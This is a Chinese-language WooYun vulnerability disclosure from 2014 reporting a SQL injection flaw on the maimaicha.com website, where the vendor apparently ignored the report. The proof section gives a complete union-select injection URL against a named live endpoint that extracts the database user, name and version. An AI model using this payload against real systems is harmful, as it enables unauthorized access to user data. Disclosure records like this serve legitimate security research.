漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-059609
漏洞标题：买买茶SQL注射漏洞导致大量用户数据被爆出
相关厂商：买买茶
漏洞作者： 路人甲
提交时间：2014-05-06 10:40
修复时间：2014-06-20 10:40
公开时间：2014-06-20 10:40
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：5
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-05-06： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-06-20： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
RT
详细说明：
买买茶官网注入点一枚，导致大量用户数据被爆出
漏洞证明：
http://www.maimaicha.com/share/qqconnect/share/add_share.tpl.php?id=900%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,concat(user(),0x5c,database(),0x5c,version()),23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96
修复方案：
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝